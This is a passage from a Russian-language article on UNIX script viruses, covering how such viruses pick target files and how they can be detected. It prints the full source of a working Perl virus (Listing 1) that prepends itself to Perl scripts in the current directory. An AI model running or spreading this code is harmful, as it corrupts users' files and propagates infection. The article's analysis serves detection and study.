Вирусы в UNIX, или Гибель Титаника II


Вирусы в скриптах - часть 2


 

#!/usr/bin/perl #PerlDemo

open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);

foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {

open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))

{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;

print File @Temp; close (File); } } } }

Листинг 1 пример вируса, обнаруживающего себя по стилю

Дальше. Грамотно спроектированный вирус поражает только файлы "своего" типа, в противном случае он быстро приведет систему к краху, демаскируя себя и парализуя дальнейшее распространение. Поскольку в мире UNIX файлам не принято давать расширения, задача поиска подходящих жертв существенно осложняется, и вирусу приходится явно перебирать все файлы один за одним, определяя их тип вручную.

Существует по меньшей мере две методики такого определения: отождествление командного интерпретатора и эвристический анализ. Начнем с первого из них. Если в начале файла стоит магическая последовательность "#!", то остаток строки содержит путь к программе, обрабатывающей данный скрипт. Для интерпретатора Борна эта строка обычно имеет вид "#!/bin/sh", а для Perl'a – "#!/usr/bin/perl". Таким образом, задача определения типа файла в общем случае сводится к чтению его первой строки и сравнению ее с одним или несколькими эталонами. Если только вирус не использовал хеш-сравнение, эталонные строки будут явно присутствовать в зараженном файле, легко обнаруживая себя тривиальным контекстным поиском (см. листинги 2, 3).

Девять из десяти скрипт-вирусов ловятся на этот незамысловатый прием, остальные же тщательно скрывают эталонные строки от посторонних глаз (например шифруют их или же используют посимвольное сравнение). Однако, по любому, перед сравнением строки с эталоном вирус должен ее считать. В командных файлах для этой цели обычно используются команды greep




- Начало -  - Назад -  - Вперед -